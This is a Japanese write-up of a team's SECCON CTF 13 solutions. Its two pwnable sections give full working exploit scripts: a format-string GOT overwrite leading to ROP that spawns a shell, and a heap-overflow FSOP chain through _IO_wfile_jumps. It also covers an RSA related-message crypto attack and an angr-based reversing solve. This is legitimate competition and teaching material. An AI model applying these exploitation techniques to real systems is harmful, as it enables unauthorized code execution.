SECCON CTF 13 Writeup
653ptで58位(国内19位)でした
[pwnable] Paragraph
#include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; }
printf(name) でFSBがある。
$ checksec chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Partial RELROかつNo PIEなのでGOTを書き換えられる。
printf("...", name) が都合よくscanfの形をしていてscanfに書き換えることでnameに好きなだけ書き込め、canaryがないためROPに持ち込める。
printf GOTを書き換えると同時にlibcのアドレスをリークして、 system("/bin/sh") を呼び出す。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: s = process('./chall') else: s = remote('paragraph.seccon.games', 5000) elf = ELF('./chall') libc = ELF('./libc.so.6') payload = b'%p%25218x%8$hn' payload = payload.ljust(0x10, b'\0') + p64(elf.got['printf'])[:-1] s.sendafter(b'asked.\n', payload) libc.address = int(s.recv(14), 0x10) - 0x1b28c0 log.info('libc base: %#x' % libc.address) pop_rdi = 0x401283 nop = 0x40110e payload = b' answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted ' payload += b'A' * 0x28 payload += p64(nop) payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh\0'))) payload += p64(libc.symbols['system']) payload += b' A' s.sendline(payload) s.interactive()
[pwnable] free-free free
struct Data { struct Data *next; uint32_t len; uint32_t id; char buf[]; }
上記のように単方向リストで繋がっているデータがあり、allocate, edit, freeの3つの操作ができる。
- allocate: 0x20~0x400のサイズを指定して
malloc(8+size)が確保される。nextは初期化されない。 - edit: idを指定してlenの分bufに書き込める。確保される領域が8bytes少ないため8bytesのheap overflowがあり、次のchunkのサイズを書き換えられる。
- free: freeは呼ばれずリストから取り除くだけ(問題名回収)
nextが初期化されないことを利用して任意のアドレスに書き込みたいが、freeはされないためnextの初期値は常にNULLになっている。
House of Orange の一部にあるようにtop chunkのサイズを小さくして、それ以上の領域を確保することで _int_free を呼び出させる。これを8回繰り返すことによりtcacheから押し出されてsmallbinsに入る。この状態で解放されたサイズ分確保するとnextがmain_arenaを指すようになる。
editで指定するidはheapやlibcの上位4bytesにあたるためこれを探索して、出力されるlenと繋げてheapとlibcのアドレスをリークできる。
次にmain_arenaにあるsmallbinsのアドレスを書き換えて複数chunkを跨いだ偽chunkを掴ませる。nextを書き換えて _IO_2_1_stdout_ を指すようにし、FSOPして system("/bin/sh") を呼び出す。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: s = process('./chall', env = {'LD_PRELOAD': './libc.so.6'}) else: s = remote('free3.seccon.games', 8215) elf = ELF('./chall') libc = ELF('./libc.so.6') def alloc(size, should_remain=False): s.sendline(b'1') s.sendline(str(size).encode()) s.recvuntil(b'ID:') id_ = int(s.recvuntil(b' ')[:-1], 0x10) if should_remain: return id_ else: release(id_) def edit(id_, data): s.sendline(b'2') s.sendline(str(id_).encode()) s.recvuntil(b'id: ') length = None if s.recv(1) == b'd': s.recvuntil(b'(') length = int(s.recvuntil(b'): ')[:-3]) s.send(data) return length def release(id_): s.sendline(b'3') s.sendline(str(id_).encode()) s.recvuntil(b'id: ') alloc(0x400) alloc(0x400) alloc(0x400) id_ = alloc(0x30, True) edit(id_, b'A' * 0x28 + p64(0x101)[:-1]) release(id_) for i in range(8): alloc(0x400) alloc(0x400) alloc(0x400) alloc(0x1d0) id_ = alloc(0xe0, True) edit(id_, b'A' * 0xd8 + p64(0x101)[:-1]) release(id_) alloc(0x400) alloc(0xa0) alloc(0x90) alloc(0x20) p = log.progress('leaking heap address') heap_base = None for i in list(range(0x500, 0x1000)) + list(range(0x500)): p.status(hex(i)) id_ = 0x5000 + i length = edit(id_, b'\n') if length is not None: heap_base = (id_ << 32) + length - 0x10ffa0 break if heap_base is None: for i in range(0x1000): p.status(hex(i)) id_ = 0x6000 + i length = edit(id_, b'\n') if length is not None: heap_base = (id_ << 32) + length - 0x10ffa0 break p.success(hex(heap_base)) p = log.progress('leaking libc address') for i in range(0xfff, -1, -1): p.status(hex(i)) id_ = 0x7000 + i length = edit(id_, b'\n') if length is not None: libc.address = (id_ << 32) + length - 0x203b30 edit(id_, p64(libc.address + 0x203b40)[:-1] + b'\n') break p.success(hex(libc.address)) id1 = alloc(0x100, True) id2 = alloc(0x100, True) alloc(0x30) edit(id1, b'A' * 0xd8 + p64(0x41) + p64(libc.address + 0x203b50) * 2 + b'\n') wide_data_addr = heap_base + 0x131548 payload = p64(0x40) + p64(0x20) + b'A' * 8 + p64(0x21) # wide_data payload += p64(0) * 2 + p64(1) payload += p64(0) * 7 payload += p64(libc.symbols['system']) payload += p64(0) * 14 payload += p64(wide_data_addr) payload += b'\n' edit(id2, payload) edit((libc.address + 0x203b30) >> 32, (p64(heap_base + 0x131500) * 2)[:-1] + b'\n') id3 = alloc(0x30, True) edit(id3, b'A' * 8 + p64(0x111) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x10) + b'\n') payload = b' /bin/sh'.ljust(0x10, b'\0') payload += p64(0) * 3 payload += p64(wide_data_addr) payload += p64(wide_data_addr + 1) payload = payload.ljust(0x88, b'\0') payload += p64(wide_data_addr + 0x100) # _lock payload = payload.ljust(0xa0, b'\0') payload += p64(wide_data_addr) # _wide_data payload = payload.ljust(0xd8, b'\0') payload += p64(libc.symbols['_IO_wfile_jumps']) payload += b'\n' edit(libc.symbols['_IO_2_1_stdout_'] >> 32, payload) s.sendline(b'1') s.sendline(b'1') s.sendline(b'cat flag*') s.interactive()
[crypto] reiwa_rot13
チームメイトが方針を思いついていたのでそれを書くだけだった。
rot13は文字コードを+13するか-13するかの2通りなので、全210通りで Franklin-Reiter Related Message Attack して解が見つかったらそれがkeyになる。
#!/usr/bin/env sage from Crypto.Util.number import * from Crypto.Cipher import AES import hashlib n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927 e = 137 c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679 c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233 encrypted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4" R.<X> = Zmod(n)[] def get_diff(bits): diff = 0 for i in range(10): diff <<= 8 diff += 13 if bits & 1 else -13 bits >>= 1 return diff def gcd(a, b): while b != 0: a, b = b, a % b return a.monic() for bits in range(1<<10): f1 = X^e - c1 f2 = (X + get_diff(bits))^e - c2 coefficients = gcd(f1, f2).coefficients() if len(coefficients) == 2: break m = -coefficients[0] % n key = long_to_bytes(m) key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(encrypted_flag))
[reversing] packed
stringsするとUPXという文字列が見つかる。
$ strings a.out ... UPX!
upx -d でunpackできるが、unpack後のバイナリを見てみても分岐なく "Wrong." を出力しているだけだった。よくわからないがunpack時に分岐が失われているとあたりをつけてunpack前のバイナリを見てみると怪しい分岐が見つかった。

0xa214b4fはasciiで "OK!" なのでこの分岐に入るような入力をangrに見つけてもらった。
#!/usr/bin/env python3 import angr import claripy flag = claripy.BVS('flag', 0x31*8, explicit_name=True) p = angr.Project('./a.out') state = p.factory.entry_state(stdin=flag) simgr = p.factory.simulation_manager(state) simgr.explore(find=0x44eeaa, avoid=[0x44eeda, 0x44eec3]) print(simgr.found[0].solver.eval(flag, cast_to=bytes))
最後に
久しぶりにCTFに出たが楽しかった。pwnはglibcでFSOPの対策がされたみたいだけど _IO_wfile_jumps を使った方法でまだまだできそう。
社内でCTF熱が高まってきたのでもっとやっていくぜ